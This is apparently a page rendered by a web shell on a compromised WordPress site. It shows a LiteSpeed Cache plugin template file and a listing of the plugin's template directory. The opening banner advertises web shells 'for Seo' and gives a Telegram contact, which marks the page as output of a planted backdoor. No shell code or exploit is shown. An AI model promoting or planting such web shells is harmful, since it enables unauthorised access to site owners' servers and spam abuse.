__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace LiteSpeed;
defined( 'WPINC' ) || exit;
$menu_list = array(
'purge' => __( 'Purge', 'litespeed-cache' ),
);
if ( ! $this->_is_network_admin ) {
$menu_list['import_export'] = __( 'Import / Export', 'litespeed-cache' );
}
if ( ! $this->_is_multisite || $this->_is_network_admin ) {
$menu_list['edit_htaccess'] = __( 'View .htaccess', 'litespeed-cache' );
}
if ( ! $this->_is_network_admin ) {
$menu_list['heartbeat'] = __( 'Heartbeat', 'litespeed-cache' ); // todo: will add this to network level later
$menu_list['report'] = __( 'Report', 'litespeed-cache' );
}
if ( ! $this->_is_multisite || $this->_is_network_admin ) {
$menu_list['settings-debug'] = __( 'Debug Settings', 'litespeed-cache' );
$menu_list['log_viewer'] = __( 'Log View', 'litespeed-cache' );
$menu_list['beta_test'] = __( 'Beta Test', 'litespeed-cache' );
}
?>
<div class="wrap">
<h1 class="litespeed-h1">
<?php echo __( 'LiteSpeed Cache Toolbox', 'litespeed-cache' ); ?>
</h1>
<span class="litespeed-desc">
v<?php echo Core::VER; ?>
</span>
<hr class="wp-header-end">
</div>
<div class="litespeed-wrap">
<h2 class="litespeed-header nav-tab-wrapper">
<?php
$i = 1;
foreach ( $menu_list as $tab => $val ) {
$accesskey = $i <= 9 ? "litespeed-accesskey='$i'" : '';
echo "<a class='litespeed-tab nav-tab' href='#$tab' data-litespeed-tab='$tab' $accesskey>$val</a>";
++$i;
}
?>
</h2>
<div class="litespeed-body">
<?php
// include all tpl for faster UE
foreach ( $menu_list as $tab => $val ) {
echo "<div data-litespeed-layout='$tab'>";
require LSCWP_DIR . "tpl/toolbox/$tab.tpl.php";
echo '</div>';
}
?>
</div>
</div>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| beta_test.tpl.php | File | 3.19 KB | 0644 |
|
| edit_htaccess.tpl.php | File | 3.4 KB | 0644 |
|
| entry.tpl.php | File | 1.63 KB | 0644 |
|
| heartbeat.tpl.php | File | 3.82 KB | 0644 |
|
| import_export.tpl.php | File | 2.3 KB | 0644 |
|
| log_viewer.tpl.php | File | 3.58 KB | 0644 |
|
| purge.tpl.php | File | 10.63 KB | 0644 |
|
| report.tpl.php | File | 5.63 KB | 0644 |
|
| settings-debug.tpl.php | File | 4.85 KB | 0644 |
|